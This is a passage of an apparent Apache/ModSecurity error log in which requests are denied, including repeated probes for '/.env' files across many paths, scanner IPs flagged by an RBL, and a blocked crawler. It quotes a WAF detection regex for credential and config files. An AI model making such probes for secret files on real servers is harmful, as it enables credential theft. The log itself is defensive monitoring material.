"ai3zH9yTkdrNlD40tSGvaQAAAGk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:35.547666 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/joomla/.env"] [unique_id "ai3zH1WSojQL4F7upKBmrwAAAIk"] [Sat Jun 13 18:17:35.563942 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9kcml2ZXIvc2VyaW8wL3Bvd2Vy [Sat Jun 13 18:17:35.564233 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9kcml2ZXIvc2VyaW8wL3Bvd2Vy [Sat Jun 13 18:17:35.582162 2026] [security2:error] [pid 648189:tid 648255] [remote 17.241.227.88:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 88.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zH1WSojQL4F7upKBmsAAAtiE"] [Sat Jun 13 18:17:35.651808 2026] [security2:error] [pid 648189:tid 648441] [client 34.23.213.224:55410] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zH1WSojQL4F7upKBmsgAAANw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:35.685449 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/js-plugin/.env"] [unique_id "ai3zH1WSojQL4F7upKBmswAAAP0"] [Sat Jun 13 18:17:35.722935 2026] [security2:error] [pid 646876:tid 646959] [remote 17.246.19.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zH9yTkdrNlD40tSGvbgAAB1A"] [Sat Jun 13 18:17:35.756426 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.47:45022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:35.756769 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.47:45022] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:35.813057 2026] [security2:error] [pid 648189:tid 648406] [client 34.23.213.224:55420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zH1WSojQL4F7upKBmuwAAALk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:35.898067 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.101:56768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:35.898522 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.101:56768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:35.975241 2026] [security2:error] [pid 646876:tid 647131] [client 34.23.213.224:55426] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zH9yTkdrNlD40tSGveAAAAHs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:36.069740 2026] [security2:error] [pid 646876:tid 646995] [remote 17.22.245.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zINyTkdrNlD40tSGvgAAAfnQ"] [Sat Jun 13 18:17:36.074475 2026] [security2:error] [pid 648189:tid 648325] [remote 17.246.19.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zIFWSojQL4F7upKBmzgAA62Y"] [Sat Jun 13 18:17:36.075002 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNl [Sat Jun 13 18:17:36.075457 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNl [Sat Jun 13 18:17:36.140438 2026] [security2:error] [pid 646876:tid 647036] [client 34.23.213.224:55432] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zINyTkdrNlD40tSGviQAAABw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:36.301481 2026] [security2:error] [pid 648189:tid 648407] [client 34.23.213.224:55440] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIFWSojQL4F7upKBm2QAAALo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:36.316237 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.34:50482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:36.316689 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.34:50482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:36.462931 2026] [security2:error] [pid 646876:tid 647048] [client 34.23.213.224:55446] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zINyTkdrNlD40tSGvkwAAACg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:36.602873 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:17:36.603416 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:17:36.624741 2026] [security2:error] [pid 648189:tid 648473] [client 34.23.213.224:55460] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIFWSojQL4F7upKBm4AAAAPc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:36.787370 2026] [security2:error] [pid 648189:tid 648370] [client 34.23.213.224:55472] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIFWSojQL4F7upKBm5wAAAJY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:36.903187 2026] [security2:error] [pid 648189:tid 648472] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/jsrelay/.env"] [unique_id "ai3zIFWSojQL4F7upKBm6wAAAPY"] [Sat Jun 13 18:17:36.948974 2026] [security2:error] [pid 648189:tid 648467] [client 34.23.213.224:55482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIFWSojQL4F7upKBm7AAAAPE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:37.043411 2026] [security2:error] [pid 648189:tid 648413] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/jupyter/.env"] [unique_id "ai3zIVWSojQL4F7upKBm7QAAAMA"] [Sat Jun 13 18:17:37.075371 2026] [security2:error] [pid 648189:tid 648248] [remote 17.22.245.211:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 211.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zIVWSojQL4F7upKBm7gAAvhs"] [Sat Jun 13 18:17:37.086786 2026] [security2:error] [pid 646876:tid 646902] [remote 17.246.23.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zIdyTkdrNlD40tSGvpQAAPxc"] [Sat Jun 13 18:17:37.097997 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:17:37.098447 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:17:37.113769 2026] [security2:error] [pid 646876:tid 647128] [client 34.23.213.224:55492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIdyTkdrNlD40tSGvqQAAAHg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:37.182261 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/khanlinks/.env"] [unique_id "ai3zIVWSojQL4F7upKBm8AAAAKg"] [Sat Jun 13 18:17:37.275348 2026] [security2:error] [pid 648189:tid 648419] [client 34.23.213.224:55504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIVWSojQL4F7upKBm9QAAAMY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:37.283207 2026] [security2:error] [pid 646876:tid 647024] [client 114.119.141.127:63709] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "celadondragon.com"] [uri "/content/transliteration"] [unique_id "ai3zIdyTkdrNlD40tSGvrAAAABA"], referer: https://celadondragon.com/ [Sat Jun 13 18:17:37.321014 2026] [security2:error] [pid 648189:tid 648468] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/kibana/.env"] [unique_id "ai3zIVWSojQL4F7upKBm-gAAAPI"] [Sat Jun 13 18:17:37.437440 2026] [security2:error] [pid 646876:tid 647100] [client 34.23.213.224:55514] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zIdyTkdrNlD40tSGvsgAAAFw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:37.458426 2026] [security2:error] [pid 648189:tid 648424] [client 185.177.72.9:41850] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/kodenames-server/.env"] [unique_id "ai3zIVWSojQL4F7upKBnAwAAAMs"] [Sat Jun 13 18:17:37.494671 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.98:31894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:37.494937 2026] [access_compat:error] [pid 648189:tid 648307] [remote 57.141.14.98:31894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:37.503087 2026] [security2:error] [pid 646876:tid 646972] [remote 17.22.237.190:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 190.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zIdyTkdrNlD40tSGvtQAAfl0"] [Sat Jun 13 18:17:37.591231 2026] [security2:error] [pid 648189:tid 648265] [remote 17.241.75.28:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zIVWSojQL4F7upKBnCQAAtys"] [Sat Jun 13 18:17:37.595104 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 